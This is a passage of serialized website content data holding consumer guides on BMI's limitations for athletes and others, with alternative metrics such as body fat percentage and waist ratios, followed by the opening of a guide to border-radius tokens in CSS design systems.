well:",[77,15689,15690,15696,15702,15708],{},[44,15691,15692,15695],{},[47,15693,15694],{},"Track trends over time"," — one data point is less meaningful than a direction",[44,15697,15698,15701],{},[47,15699,15700],{},"Factor in your age and ethnicity"," — adjust risk thresholds as described above",[44,15703,15704,15707],{},[47,15705,15706],{},"Add a waist measurement"," — this combination catches what BMI misses",[44,15709,15710,15713],{},[47,15711,15712],{},"Consult a professional"," — no calculator replaces medical advice",[11,15715,1355],{"id":1354},[41,15717,15718,15721,15724,15727,15730,15733],{},[44,15719,15720],{},"BMI originated as a population statistic, not an individual health metric",[44,15722,15723],{},"The WHO classification includes subcategories that reveal important risk differences",[44,15725,15726],{},"BMI ignores muscle mass, age, ethnicity, and fat distribution",[44,15728,15729],{},"Asian adults should use a lower overweight threshold (BMI 23)",[44,15731,15732],{},"Combine BMI with waist circumference for a more accurate health screen",[44,15734,15735],{},"Track your BMI over time rather than fixating on a single reading",[11,15737,286],{"id":285},[16,15739,15740],{},"Calculate your BMI and see where you fall on the WHO classification. Our tool shows your BMI, category, and healthy weight range instantly.",[16,15742,4531,15743],{},[98,15744,15746],{"href":15032,"rel":15745},[14956],[47,15747,15269],{},[11,15749,321],{"id":320},[41,15751,15752,15757],{},[44,15753,15754],{},[98,15755,15756],{"href":15337},"BMI Calculator Guide — How to Calculate and Interpret BMI",[44,15758,15759],{},[98,15760,15312],{"href":15311},{"title":141,"searchDepth":337,"depth":337,"links":15762},[15763,15764,15765,15768,15774,15775,15776,15777,15778],{"id":15348,"depth":337,"text":15349},{"id":15358,"depth":337,"text":15359},{"id":15405,"depth":337,"text":15406,"children":15766},[15767],{"id":15509,"depth":343,"text":15510},{"id":15530,"depth":337,"text":15531,"children":15769},[15770,15771,15772,15773],{"id":15537,"depth":343,"text":15538},{"id":15553,"depth":343,"text":15554},{"id":15560,"depth":343,"text":15561},{"id":15581,"depth":343,"text":15582},{"id":15599,"depth":337,"text":15600},{"id":15683,"depth":337,"text":15684},{"id":1354,"depth":337,"text":1355},{"id":285,"depth":337,"text":286},{"id":320,"depth":337,"text":321},"What your BMI number really means and its limitations. Understand Body Mass Index categories, calculation, and when to use other metrics.",{"immutable":363},{"title":15343,"description":15779},"guides\u002Fbmi-explained","KayDj2tcMOOPEujLDdL2FIubNmxXGndSkYzUGhOGBWM",{"id":15785,"title":15786,"body":15787,"date":2070,"description":16163,"extension":361,"meta":16164,"navigation":363,"path":16165,"readingTime":1710,"seo":16166,"stem":16167,"__hash__":16168},"guides\u002Fguides\u002Fbmi-for-athletes.md","BMI for Athletes: Why It Misleads",{"type":8,"value":15788,"toc":16145},[15789,15793,15796,15799,15803,15807,15810,15814,15817,15918,15921,15925,15928,15939,15942,15946,15950,15953,16014,16018,16021,16025,16028,16031,16057,16061,16064,16068,16071,16091,16095,16098,16112,16115,16117,16133,16135,16138],[11,15790,15792],{"id":15791},"the-athlete-bmi-problem","The Athlete BMI Problem",[16,15794,15795],{},"If you lift weights, play contact sports, or train for power, you've probably seen it: you walk into a doctor's office, they plug your height and weight into a BMI chart, and the result says you're overweight — or even obese. But you can see your abs.",[16,15797,15798],{},"This isn't a rare edge case. It's a structural flaw in how BMI works. The formula — weight divided by height squared — treats all mass the same. Muscle, bone, fat, water: BMI can't tell them apart. And since muscle is denser than fat, a muscular person will always score higher on BMI than a slim person of the same height.",[11,15800,15802],{"id":15801},"how-bmi-misclassifies-athletes","How BMI Misclassifies Athletes",[33,15804,15806],{"id":15805},"the-muscle-density-problem","The Muscle-Density Problem",[16,15808,15809],{},"Muscle tissue weighs roughly 18% more than fat by volume. A 5'9\" powerlifter at 210 pounds might carry 15% body fat — well within the athletic range. But their BMI of 31.0 categorizes them as \"obese.\" Meanwhile, a sedentary person at the same height and weight with 30% body fat gets the same label — despite facing vastly different health risks.",[33,15811,15813],{"id":15812},"sport-specific-misclassification","Sport-Specific Misclassification",[16,15815,15816],{},"Different sports produce different body types, and BMI fails across most of them:",[193,15818,15819,15835],{},[196,15820,15821],{},[199,15822,15823,15826,15829,15832],{},[202,15824,15825],{},"Sport",[202,15827,15828],{},"Typical BMI Range",[202,15830,15831],{},"BMI Category",[202,15833,15834],{},"Actual Health",[211,15836,15837,15850,15864,15877,15891,15905],{},[199,15838,15839,15842,15845,15847],{},[216,15840,15841],{},"NFL lineman",[216,15843,15844],{},"30–38",[216,15846,15201],{},[216,15848,15849],{},"High muscle, variable fat",[199,15851,15852,15855,15858,15861],{},[216,15853,15854],{},"Rugby forward",[216,15856,15857],{},"28–34",[216,15859,15860],{},"Overweight–Obese",[216,15862,15863],{},"High lean mass",[199,15865,15866,15869,15872,15874],{},[216,15867,15868],{},"Weightlifter",[216,15870,15871],{},"26–35",[216,15873,15860],{},[216,15875,15876],{},"Very low body fat",[199,15878,15879,15882,15885,15888],{},[216,15880,15881],{},"Cyclist",[216,15883,15884],{},"20–23",[216,15886,15887],{},"Normal",[216,15889,15890],{},"Low muscle mass, low fat",[199,15892,15893,15896,15899,15902],{},[216,15894,15895],{},"Marathon runner",[216,15897,15898],{},"18–21",[216,15900,15901],{},"Normal–Underweight",[216,15903,15904],{},"Very low fat, low muscle",[199,15906,15907,15910,15913,15915],{},[216,15908,15909],{},"Gymnast",[216,15911,15912],{},"22–25",[216,15914,15887],{},[216,15916,15917],{},"High muscle, low fat",[16,15919,15920],{},"Power and strength athletes are the most consistently misclassified. But endurance athletes can also be misclassified on the low end — a very lean marathon runner might register as underweight despite being in peak cardiovascular health.",[33,15922,15924],{"id":15923},"famous-misclassification-examples","Famous Misclassification Examples",[16,15926,15927],{},"Several well-known athletes would be classified as \"overweight\" or \"obese\" by BMI alone:",[41,15929,15930,15933,15936],{},[44,15931,15932],{},"Dwayne Johnson (BMI ~34): Classified as obese",[44,15934,15935],{},"LeBron James (BMI ~27): Classified as overweight",[44,15937,15938],{},"Serena Williams (BMI ~23): Borderline high, despite elite fitness",[16,15940,15941],{},"These aren't exceptions — they illustrate the rule that BMI fails for muscular builds.",[11,15943,15945],{"id":15944},"what-athletes-should-track-instead","What Athletes Should Track Instead",[33,15947,15949],{"id":15948},"body-fat-percentage","Body Fat Percentage",[16,15951,15952],{},"The most direct replacement for BMI. Athletes should track body fat percentage through a consistent measurement method rather than relying on BMI categories.",[193,15954,15955,15968],{},[196,15956,15957],{},[199,15958,15959,15962,15965],{},[202,15960,15961],{},"Sport Typical Range",[202,15963,15964],{},"Men",[202,15966,15967],{},"Women",[211,15969,15970,15981,15992,16003],{},[199,15971,15972,15975,15978],{},[216,15973,15974],{},"Endurance",[216,15976,15977],{},"5–10%",[216,15979,15980],{},"12–18%",[199,15982,15983,15986,15989],{},[216,15984,15985],{},"Team sports",[216,15987,15988],{},"8–14%",[216,15990,15991],{},"14–20%",[199,15993,15994,15997,16000],{},[216,15995,15996],{},"Power\u002Fstrength",[216,15998,15999],{},"8–16%",[216,16001,16002],{},"14–22%",[199,16004,16005,16008,16011],{},[216,16006,16007],{},"Weight-class sports",[216,16009,16010],{},"5–12%",[216,16012,16013],{},"10–18%",[33,16015,16017],{"id":16016},"lean-body-mass","Lean Body Mass",[16,16019,16020],{},"For strength athletes, lean body mass is more relevant than total weight. Track how your weight is distributed — if your weight is going up but your body fat percentage is stable, you're gaining muscle, not fat.",[33,16022,16024],{"id":16023},"performance-metrics","Performance Metrics",[16,16026,16027],{},"Athletes have a built-in health indicator that sedentary people lack: performance. If your sprint times, lift numbers, or agility scores are improving, your body composition is likely moving in the right direction regardless of BMI.",[16,16029,16030],{},"Useful performance-correlated metrics:",[41,16032,16033,16039,16045,16051],{},[44,16034,16035,16038],{},[47,16036,16037],{},"Vertical jump"," — lower-body power",[44,16040,16041,16044],{},[47,16042,16043],{},"Sprint time"," — power-to-weight ratio",[44,16046,16047,16050],{},[47,16048,16049],{},"Resting heart rate"," — cardiovascular fitness",[44,16052,16053,16056],{},[47,16054,16055],{},"Grip strength"," — overall strength proxy",[33,16058,16060],{"id":16059},"waist-circumference","Waist Circumference",[16,16062,16063],{},"Even for muscular athletes, waist circumference reveals visceral fat — the metabolically dangerous kind. A powerlifter with a 34-inch waist at 220 pounds is in a very different position than one with a 42-inch waist at the same weight.",[11,16065,16067],{"id":16066},"when-athletes-should-care-about-bmi","When Athletes Should Care About BMI",[16,16069,16070],{},"BMI isn't entirely useless for athletes. It can serve as a flag in specific situations:",[41,16072,16073,16079,16085],{},[44,16074,16075,16078],{},[47,16076,16077],{},"Sudden BMI increase without training changes"," — unexpected weight gain may indicate fat gain, water retention, or a medical issue",[44,16080,16081,16084],{},[47,16082,16083],{},"BMI trending upward post-retirement"," — athletes who stop training but maintain eating habits often gain fat rapidly",[44,16086,16087,16090],{},[47,16088,16089],{},"Youth athletes"," — BMI percentiles can flag unhealthy weight trends in developing bodies, though they should be interpreted alongside growth charts",[11,16092,16094],{"id":16093},"working-with-healthcare-providers","Working With Healthcare Providers",[16,16096,16097],{},"Many doctors still rely on BMI as a primary screening tool. If you're an athlete flagged as overweight by BMI:",[77,16099,16100,16103,16106,16109],{},[44,16101,16102],{},"Ask for a body composition test (DEXA or BIA)",[44,16104,16105],{},"Request waist circumference measurement",[44,16107,16108],{},"Share your training log and performance data",[44,16110,16111],{},"Point out that BMI validation studies excluded athletic populations",[16,16113,16114],{},"A good healthcare provider will adjust their assessment. If they don't, consider finding one who understands athletic body composition.",[11,16116,321],{"id":320},[41,16118,16119,16125,16129],{},[44,16120,16121],{},[98,16122,16124],{"href":16123},"\u002Fguides\u002Fbmi-limitations-alternatives","BMI Limitations and Alternatives",[44,16126,16127],{},[98,16128,15018],{"href":15337},[44,16130,16131],{},[98,16132,15343],{"href":15305},[11,16134,286],{"id":285},[16,16136,16137],{},"Calculate your BMI and see where you fall — but remember that the number is just a starting point. Our free tool also shows you the limitations so you can interpret the result correctly.",[16,16139,4531,16140],{},[98,16141,16143],{"href":16142},"\u002Ftools\u002Fbmi-calculator",[47,16144,15269],{},{"title":141,"searchDepth":337,"depth":337,"links":16146},[16147,16148,16153,16159,16160,16161,16162],{"id":15791,"depth":337,"text":15792},{"id":15801,"depth":337,"text":15802,"children":16149},[16150,16151,16152],{"id":15805,"depth":343,"text":15806},{"id":15812,"depth":343,"text":15813},{"id":15923,"depth":343,"text":15924},{"id":15944,"depth":337,"text":15945,"children":16154},[16155,16156,16157,16158],{"id":15948,"depth":343,"text":15949},{"id":16016,"depth":343,"text":16017},{"id":16023,"depth":343,"text":16024},{"id":16059,"depth":343,"text":16060},{"id":16066,"depth":337,"text":16067},{"id":16093,"depth":337,"text":16094},{"id":320,"depth":337,"text":321},{"id":285,"depth":337,"text":286},"Why BMI often misclassifies muscular athletes as overweight and what to use instead.",{"immutable":363},"\u002Fguides\u002Fbmi-for-athletes",{"title":15786,"description":16163},"guides\u002Fbmi-for-athletes","rvFLlfWmbaZYhsPTxF2OmBekAC2_tRY3bptc699p8vY",{"id":16170,"title":16124,"body":16171,"date":2070,"description":16683,"extension":361,"meta":16684,"navigation":363,"path":16123,"readingTime":889,"seo":16685,"stem":16686,"__hash__":16687},"guides\u002Fguides\u002Fbmi-limitations-alternatives.md",{"type":8,"value":16172,"toc":16664},[16173,16177,16180,16187,16191,16195,16198,16260,16263,16267,16273,16277,16280,16294,16297,16301,16304,16308,16373,16376,16380,16382,16385,16454,16460,16527,16531,16534,16540,16584,16588,16591,16597,16600,16604,16607,16611,16614,16634,16637,16639,16656,16658],[11,16174,16176],{"id":16175},"the-problem-with-bmi","The Problem with BMI",[16,16178,16179],{},"BMI was designed in the 1830s by a mathematician, not a doctor. Adolphe Quetelet created it as a statistical tool to describe the average build of populations — not to diagnose individual health. Yet today, doctors, insurance companies, and fitness apps use BMI as a proxy for body fat and health risk.",[16,16181,16182,16183,16186],{},"The fundamental flaw: ",[47,16184,16185],{},"BMI measures weight relative to height, but weight includes muscle, bone, water, and fat."," Two people with the same BMI can have dramatically different body compositions.",[11,16188,16190],{"id":16189},"who-bmi-misclassifies","Who BMI Misclassifies",[33,16192,16194],{"id":16193},"athletes-and-muscular-people","Athletes and Muscular People",[16,16196,16197],{},"Muscle is denser than fat. A lean athlete with low body fat can register as \"overweight\" or even \"obese\" by BMI.",[193,16199,16200,16221],{},[196,16201,16202],{},[199,16203,16204,16207,16210,16213,16216,16218],{},[202,16205,16206],{},"Person",[202,16208,16209],{},"Weight",[202,16211,16212],{},"Height",[202,16214,16215],{},"BMI",[202,16217,919],{},[202,16219,16220],{},"Body Fat",[211,16222,16223,16242],{},[199,16224,16225,16228,16231,16234,16237,16239],{},[216,16226,16227],{},"Office worker",[216,16229,16230],{},"85 kg",[216,16232,16233],{},"1.78 m",[216,16235,16236],{},"26.8",[216,16238,15190],{},[216,16240,16241],{},"28%",[199,16243,16244,16247,16250,16252,16255,16257],{},[216,16245,16246],{},"Rugby player",[216,16248,16249],{},"100 kg",[216,16251,16233],{},[216,16253,16254],{},"31.6",[216,16256,15201],{},[216,16258,16259],{},"12%",[16,16261,16262],{},"Same height, wildly different health profiles. BMI labels the athlete as obese.",[33,16264,16266],{"id":16265},"older-adults","Older Adults",[16,16268,16269,16270,468],{},"People lose muscle mass with age (sarcopenia). An older adult with a \"normal\" BMI may actually carry excess fat and insufficient muscle — a condition called ",[47,16271,16272],{},"normal weight obesity",[33,16274,16276],{"id":16275},"different-ethnic-groups","Different Ethnic Groups",[16,16278,16279],{},"BMI cutoffs were developed from data on white European populations. Research shows that:",[41,16281,16282,16288],{},[44,16283,16284,16287],{},[47,16285,16286],{},"Asian populations"," develop metabolic disease at lower BMI values. The WHO recommends a lower obesity threshold of 27.5 for Asians (vs. 30 for the general population).",[44,16289,16290,16293],{},[47,16291,16292],{},"Black populations"," may have higher healthy BMI ranges. Some studies suggest BMI thresholds underestimate health in Black individuals.",[16,16295,16296],{},"A single set of cutoffs does not serve a diverse population.",[33,16298,16300],{"id":16299},"pregnant-women-and-children","Pregnant Women and Children",[16,16302,16303],{},"BMI is not valid during pregnancy (weight gain is expected and healthy) and requires age-specific percentile charts for children under 20.",[11,16305,16307],{"id":16306},"what-bmi-misses","What BMI Misses",[193,16309,16310,16322],{},[196,16311,16312],{},[199,16313,16314,16316,16319],{},[202,16315,1234],{},[202,16317,16318],{},"Why It Matters",[202,16320,16321],{},"BMI Captures It?",[211,16323,16324,16333,16343,16353,16363],{},[199,16325,16326,16328,16331],{},[216,16327,15623],{},[216,16329,16330],{},"Direct measure of adiposity",[216,16332,6117],{},[199,16334,16335,16338,16341],{},[216,16336,16337],{},"Fat distribution",[216,16339,16340],{},"Visceral fat (belly) is more dangerous than subcutaneous fat",[216,16342,6117],{},[199,16344,16345,16348,16351],{},[216,16346,16347],{},"Muscle mass",[216,16349,16350],{},"Muscular people are healthier than BMI suggests",[216,16352,6117],{},[199,16354,16355,16358,16361],{},[216,16356,16357],{},"Bone density",[216,16359,16360],{},"Heavier bones inflate BMI without health risk",[216,16362,6117],{},[199,16364,16365,16368,16371],{},[216,16366,16367],{},"Metabolic markers",[216,16369,16370],{},"Blood sugar, cholesterol, blood pressure",[216,16372,6117],{},[16,16374,16375],{},"BMI is a screening tool, not a diagnostic one. Abnormal BMI should trigger further assessment — not a diagnosis.",[11,16377,16379],{"id":16378},"alternative-metrics","Alternative Metrics",[33,16381,15949],{"id":15948},[16,16383,16384],{},"The most direct measure of adiposity. Methods range from cheap (calipers) to precise (DEXA scans).",[193,16386,16387,16400],{},[196,16388,16389],{},[199,16390,16391,16393,16395,16398],{},[202,16392,7441],{},[202,16394,825],{},[202,16396,16397],{},"Cost",[202,16399,837],{},[211,16401,16402,16415,16428,16441],{},[199,16403,16404,16407,16409,16412],{},[216,16405,16406],{},"DEXA scan",[216,16408,15446],{},[216,16410,16411],{},"$50–150",[216,16413,16414],{},"Clinics",[199,16416,16417,16420,16422,16425],{},[216,16418,16419],{},"Bioelectrical impedance (scale)",[216,16421,15457],{},[216,16423,16424],{},"$30–80",[216,16426,16427],{},"Home",[199,16429,16430,16433,16435,16438],{},[216,16431,16432],{},"Skin-fold calipers",[216,16434,15457],{},[216,16436,16437],{},"$10–30",[216,16439,16440],{},"Home\u002Ftrainer",[199,16442,16443,16446,16448,16451],{},[216,16444,16445],{},"Navy tape measure method",[216,16447,15457],{},[216,16449,16450],{},"Free",[216,16452,16453],{},"Anywhere",[16,16455,16456,16459],{},[47,16457,16458],{},"Healthy body fat ranges"," (by age and sex):",[193,16461,16462,16472],{},[196,16463,16464],{},[199,16465,16466,16468,16470],{},[202,16467,919],{},[202,16469,15964],{},[202,16471,15967],{},[211,16473,16474,16485,16495,16506,16517],{},[199,16475,16476,16479,16482],{},[216,16477,16478],{},"Essential fat",[216,16480,16481],{},"2–5%",[216,16483,16484],{},"10–13%",[199,16486,16487,16490,16493],{},[216,16488,16489],{},"Athletes",[216,16491,16492],{},"6–13%",[216,16494,15991],{},[199,16496,16497,16500,16503],{},[216,16498,16499],{},"Fitness",[216,16501,16502],{},"14–17%",[216,16504,16505],{},"21–24%",[199,16507,16508,16511,16514],{},[216,16509,16510],{},"Average",[216,16512,16513],{},"18–24%",[216,16515,16516],{},"25–31%",[199,16518,16519,16521,16524],{},[216,16520,15201],{},[216,16522,16523],{},"25%+",[216,16525,16526],{},"32%+",[33,16528,16530],{"id":16529},"waist-to-hip-ratio","Waist-to-Hip Ratio",[16,16532,16533],{},"Measures fat distribution. High waist-to-hip ratios indicate visceral fat accumulation, which strongly predicts cardiovascular risk.",[135,16535,16538],{"className":16536,"code":16537,"language":140},[138],"Waist-to-hip ratio = Waist circumference \u002F Hip circumference\n",[143,16539,16537],{"__ignoreMap":141},[193,16541,16542,16552],{},[196,16543,16544],{},[199,16545,16546,16548,16550],{},[202,16547,15422],{},[202,16549,15964],{},[202,16551,15967],{},[211,16553,16554,16564,16574],{},[199,16555,16556,16558,16561],{},[216,16557,15466],{},[216,16559,16560],{},"Below 0.90",[216,16562,16563],{},"Below 0.80",[199,16565,16566,16568,16571],{},[216,16567,15457],{},[216,16569,16570],{},"0.90–0.99",[216,16572,16573],{},"0.80–0.84",[199,16575,16576,16578,16581],{},[216,16577,15446],{},[216,16579,16580],{},"1.00+",[216,16582,16583],{},"0.85+",[33,16585,16587],{"id":16586},"waist-to-height-ratio","Waist-to-Height Ratio",[16,16589,16590],{},"An even simpler metric: your waist should be less than half your height.",[135,16592,16595],{"className":16593,"code":16594,"language":140},[138],"Waist-to-height ratio = Waist circumference \u002F Height\n",[143,16596,16594],{"__ignoreMap":141},[16,16598,16599],{},"A ratio below 0.5 is associated with low cardiovascular risk across all BMI categories. This metric works well across ethnic groups.",[33,16601,16603],{"id":16602},"body-roundness-index-bri","Body Roundness Index (BRI)",[16,16605,16606],{},"Combines height and waist circumference to model body shape. Research shows BRI predicts cardiovascular risk better than BMI, especially for people with non-standard builds.",[11,16608,16610],{"id":16609},"when-bmi-still-works","When BMI Still Works",[16,16612,16613],{},"Despite its flaws, BMI remains useful for:",[41,16615,16616,16622,16628],{},[44,16617,16618,16621],{},[47,16619,16620],{},"Population-level surveillance"," — tracking trends across millions where individual variation averages out",[44,16623,16624,16627],{},[47,16625,16626],{},"Quick screening"," — flagging patients who need further assessment",[44,16629,16630,16633],{},[47,16631,16632],{},"Insurance underwriting"," — where individual body composition measurements are impractical",[16,16635,16636],{},"BMI is a starting point, not a conclusion.",[11,16638,1355],{"id":1354},[41,16640,16641,16644,16647,16650,16653],{},[44,16642,16643],{},"BMI measures weight, not body fat — it cannot distinguish muscle from fat",[44,16645,16646],{},"Athletes, older adults, and different ethnic groups are routinely misclassified",[44,16648,16649],{},"Body fat percentage is the most direct alternative but requires measurement tools",[44,16651,16652],{},"Waist-to-hip ratio and waist-to-height ratio capture fat distribution, which BMI misses entirely",[44,16654,16655],{},"Use BMI as a screening trigger, not a diagnostic label — follow up abnormal results with better metrics",[11,16657,286],{"id":285},[16,16659,16660,16661,16663],{},"Calculate your BMI as a starting point with our ",[98,16662,15034],{"href":16142},". Then explore body composition metrics for a more complete picture of your health.",{"title":141,"searchDepth":337,"depth":337,"links":16665},[16666,16667,16673,16674,16680,16681,16682],{"id":16175,"depth":337,"text":16176},{"id":16189,"depth":337,"text":16190,"children":16668},[16669,16670,16671,16672],{"id":16193,"depth":343,"text":16194},{"id":16265,"depth":343,"text":16266},{"id":16275,"depth":343,"text":16276},{"id":16299,"depth":343,"text":16300},{"id":16306,"depth":337,"text":16307},{"id":16378,"depth":337,"text":16379,"children":16675},[16676,16677,16678,16679],{"id":15948,"depth":343,"text":15949},{"id":16529,"depth":343,"text":16530},{"id":16586,"depth":343,"text":16587},{"id":16602,"depth":343,"text":16603},{"id":16609,"depth":337,"text":16610},{"id":1354,"depth":337,"text":1355},{"id":285,"depth":337,"text":286},"Understand why BMI falls short for many individuals and explore better alternatives — body fat percentage, waist-to-hip ratio, and more.",{"immutable":363},{"title":16124,"description":16683},"guides\u002Fbmi-limitations-alternatives","5GCxQsfJQAskAVinHhYqBiwWV5yt2Wd7Q48S4mQE9FM",{"id":16689,"title":16690,"body":16691,"date":2070,"description":17683,"extension":361,"meta":17684,"navigation":363,"path":17687,"readingTime":1710,"seo":17688,"stem":17689,"__hash__":17690},"guides\u002Fguides\u002Fborder-radius-design-systems.md","Border Radius in Design Systems: Tokens, Consistency, and Scale",{"type":8,"value":16692,"toc":17667},[16693,16697,16712,16715,16719,16722,16812,16904,16918,16922,16929,17023,17026,17051,17054,17058,17062,17065,17071,17074,17078,17081,17087,17090,17094,17108,17112,17115,17242,17245,17249,17252,17347,17351,17354,17501,17507,17609,17611,17636,17638,17646,17648,17664],[11,16694,16696],{"id":16695},"why-radius-tokens-matter","Why Radius Tokens Matter",[16,16698,16699,16700,16703,16704,16707,16708,16711],{},"A design system without radius tokens inevitably suffers from inconsistent rounding. One developer uses ",[143,16701,16702],{},"8px",", another uses ",[143,16705,16706],{},"10px",", and somewhere a designer specified ",[143,16709,16710],{},"0.5rem",". The result is a UI where buttons, cards, inputs, and modals each feel slightly different — a subtle but persistent sense that something is off.",[16,16713,16714],{},"Radius tokens solve this by constraining choice to a curated set of values, enforced through CSS custom properties and design tool configurations.",[11,16716,16718],{"id":16717},"defining-a-radius-scale","Defining a Radius Scale",[16,16720,16721],{},"Most design systems need 4–6 radius levels. Here is a proven scale:",[193,16723,16724,16734],{},[196,16725,16726],{},[199,16727,16728,16730,16732],{},[202,16729,4028],{},[202,16731,1769],{},[202,16733,1775],{},[211,16735,16736,16748,16761,16773,16786,16799],{},[199,16737,16738,16743,16745],{},[216,16739,16740],{},[143,16741,16742],{},"--radius-none",[216,16744,5285],{},[216,16746,16747],{},"Tooltips, tight-fitting overlays",[199,16749,16750,16755,16758],{},[216,16751,16752],{},[143,16753,16754],{},"--radius-sm",[216,16756,16757],{},"4px",[216,16759,16760],{},"Small elements: badges, tags, checkboxes",[199,16762,16763,16768,16770],{},[216,16764,16765],{},[143,16766,16767],{},"--radius-md",[216,16769,16702],{},[216,16771,16772],{},"Inputs, buttons, chips",[199,16774,16775,16780,16783],{},[216,16776,16777],{},[143,16778,16779],{},"--radius-lg",[216,16781,16782],{},"12px",[216,16784,16785],{},"Cards, modals, dropdowns",[199,16787,16788,16793,16796],{},[216,16789,16790],{},[143,16791,16792],{},"--radius-xl",[216,16794,16795],{},"16px",[216,16797,16798],{},"Feature cards, image containers",[199,16800,16801,16806,16809],{},[216,16802,16803],{},[143,16804,16805],{},"--radius-full",[216,16807,16808],{},"9999px",[216,16810,16811],{},"Avatars, pills, circular buttons",[135,16813,16815],{"className":1554,"code":16814,"language":1556,"meta":141,"style":141},":root {\n  --radius-none: 0;\n  --radius-sm: 4px;\n  --radius-md: 8px;\n  --radius-lg: 12px;\n  --radius-xl: 16px;\n  --radius-full: 9999px;\n}\n",[143,16816,16817,16823,16834,16847,16860,16873,16886,16900],{"__ignoreMap":141},[1560,16818,16819,16821],{"class":1562,"line":1563},[1560,16820,2207],{"class":1566},[1560,16822,1571],{"class":1570},[1560,16824,16825,16828,16830,16832],{"class":1562,"line":337},[1560,16826,16827],{"class":2219},"  --radius-none",[1560,16829,1663],{"class":1570},[1560,16831,5285],{"class":1576},[1560,16833,2228],{"class":1570},[1560,16835,16836,16839,16841,16843,16845],{"class":1562,"line":343},[1560,16837,16838],{"class":2219},"  --radius-sm",[1560,16840,1663],{"class":1570},[1560,16842,12546],{"class":1576},[1560,16844,1670],{"class":1669},[1560,16846,2228],{"class":1570},[1560,16848,16849,16852,16854,16856,16858],{"class":1562,"line":365},[1560,16850,16851],{"class":2219},"  --radius-md",[1560,16853,1663],{"class":1570},[1560,16855,10078],{"class":1576},[1560,16857,1670],{"class":1669},[1560,16859,2228],{"class":1570},[1560,16861,16862,16865,16867,16869,16871],{"class":1562,"line":889},[1560,16863,16864],{"class":2219},"  --radius-lg",[1560,16866,1663],{"class":1570},[1560,16868,13566],{"class":1576},[1560,16870,1670],{"class":1669},[1560,16872,2228],{"class":1570},[1560,16874,16875,16878,16880,16882,16884],{"class":1562,"line":1710},[1560,16876,16877],{"class":2219},"  --radius-xl",[1560,16879,1663],{"class":1570},[1560,16881,10057],{"class":1576},[1560,16883,1670],{"class":1669},[1560,16885,2228],{"class":1570},[1560,16887,16888,16891,16893,16896,16898],{"class":1562,"line":1717},[1560,16889,16890],{"class":2219},"  --radius-full",[1560,16892,1663],{"class":1570},[1560,16894,16895],{"class":1576},"9999",[1560,16897,1670],{"class":1669},[1560,16899,2228],{"class":1570},[1560,16901,16902],{"class":1562,"line":1747},[1560,16903,1585],{"class":1570},[16,16905,16906,16907,16909,16910,1856,16913,16909,16915,16917],{},"The jump between levels should be noticeable. If ",[143,16908,16754],{}," is ",[143,16911,16912],{},"6px",[143,16914,16767],{},[143,16916,16702],{},", the visual difference is too small to justify separate tokens.",[11,16919,16921],{"id":16920},"semantic-naming","Semantic Naming",[16,16923,16924,16925,16928],{},"Avoid naming tokens after their values (",[143,16926,16927],{},"--radius-8px",") — rename every token when the scale changes. Instead, use semantic names that describe the element size or context:",[135,16930,16932],{"className":1554,"code":16931,"language":1556,"meta":141,"style":141},"\u002F* ✅ Semantic — survives value changes *\u002F\n.button { border-radius: var(--radius-md); }\n.card   { border-radius: var(--radius-lg); }\n\n\u002F* ❌ Literal — tightly coupled to current values *\u002F\n.button { border-radius: var(--radius-8px); }\n.card   { border-radius: var(--radius-12px); }\n",[143,16933,16934,16939,16958,16977,16981,16986,17004],{"__ignoreMap":141},[1560,16935,16936],{"class":1562,"line":1563},[1560,16937,16938],{"class":1649},"\u002F* ✅ Semantic — survives value changes *\u002F\n",[1560,16940,16941,16943,16945,16948,16950,16952,16954,16956],{"class":1562,"line":337},[1560,16942,5741],{"class":1566},[1560,16944,1658],{"class":1570},[1560,16946,16947],{"class":1576},"border-radius",[1560,16949,1663],{"class":1570},[1560,16951,2497],{"class":1576},[1560,16953,1688],{"class":1570},[1560,16955,16767],{"class":2219},[1560,16957,1697],{"class":1570},[1560,16959,16960,16962,16965,16967,16969,16971,16973,16975],{"class":1562,"line":343},[1560,16961,1567],{"class":1566},[1560,16963,16964],{"class":1570},"   { ",[1560,16966,16947],{"class":1576},[1560,16968,1663],{"class":1570},[1560,16970,2497],{"class":1576},[1560,16972,1688],{"class":1570},[1560,16974,16779],{"class":2219},[1560,16976,1697],{"class":1570},[1560,16978,16979],{"class":1562,"line":365},[1560,16980,1702],{"emptyLinePlaceholder":363},[1560,16982,16983],{"class":1562,"line":889},[1560,16984,16985],{"class":1649},"\u002F* ❌ Literal — tightly coupled to current values *\u002F\n",[1560,16987,16988,16990,16992,16994,16996,16998,17000,17002],{"class":1562,"line":1710},[1560,16989,5741],{"class":1566},[1560,16991,1658],{"class":1570},[1560,16993,16947],{"class":1576},[1560,16995,1663],{"class":1570},[1560,16997,2497],{"class":1576},[1560,16999,1688],{"class":1570},[1560,17001,16927],{"class":2219},[1560,17003,1697],{"class":1570},[1560,17005,17006,17008,17010,17012,17014,17016,17018,17021],{"class":1562,"line":1717},[1560,17007,1567],{"class":1566},[1560,17009,16964],{"class":1570},[1560,17011,16947],{"class":1576},[1560,17013,1663],{"class":1570},[1560,17015,2497],{"class":1576},[1560,17017,1688],{"class":1570},[1560,17019,17020],{"class":2219},"--radius-12px",[1560,17022,1697],{"class":1570},[16,17024,17025],{},"For teams that prefer contextual naming over size-based naming:",[135,17027,17029],{"className":1554,"code":17028,"language":1556,"meta":141,"style":141},"--radius-button: var(--radius-md);\n--radius-card: var(--radius-lg);\n--radius-input: var(--radius-md);\n--radius-avatar: var(--radius-full);\n",[143,17030,17031,17036,17041,17046],{"__ignoreMap":141},[1560,17032,17033],{"class":1562,"line":1563},[1560,17034,17035],{"class":1570},"--radius-button: var(--radius-md);\n",[1560,17037,17038],{"class":1562,"line":337},[1560,17039,17040],{"class":1570},"--radius-card: var(--radius-lg);\n",[1560,17042,17043],{"class":1562,"line":343},[1560,17044,17045],{"class":1570},"--radius-input: var(--radius-md);\n",[1560,17047,17048],{"class":1562,"line":365},[1560,17049,17050],{"class":1570},"--radius-avatar: var(--radius-full);\n",[16,17052,17053],{},"This adds a layer of indirection but makes intent clearer and allows per-component overrides.",[11,17055,17057],{"id":17056},"scaling-strategy","Scaling Strategy",[33,17059,17061],{"id":17060},"linear-scale","Linear Scale",[16,17063,17064],{},"Each step increases by the same amount:",[135,17066,17069],{"className":17067,"code":17068,"language":140},[138],"0, 4px, 8px, 12px, 16px, 20px\n",[143,17070,17068],{"__ignoreMap":141},[16,17072,17073],{},"Simple and predictable. Works well for utilitarian interfaces where subtlety is not needed.",[33,17075,17077],{"id":17076},"non-linear-scale","Non-Linear Scale",[16,17079,17080],{},"Larger steps at higher levels create visual emphasis:",[135,17082,17085],{"className":17083,"code":17084,"language":140},[138],"0, 2px, 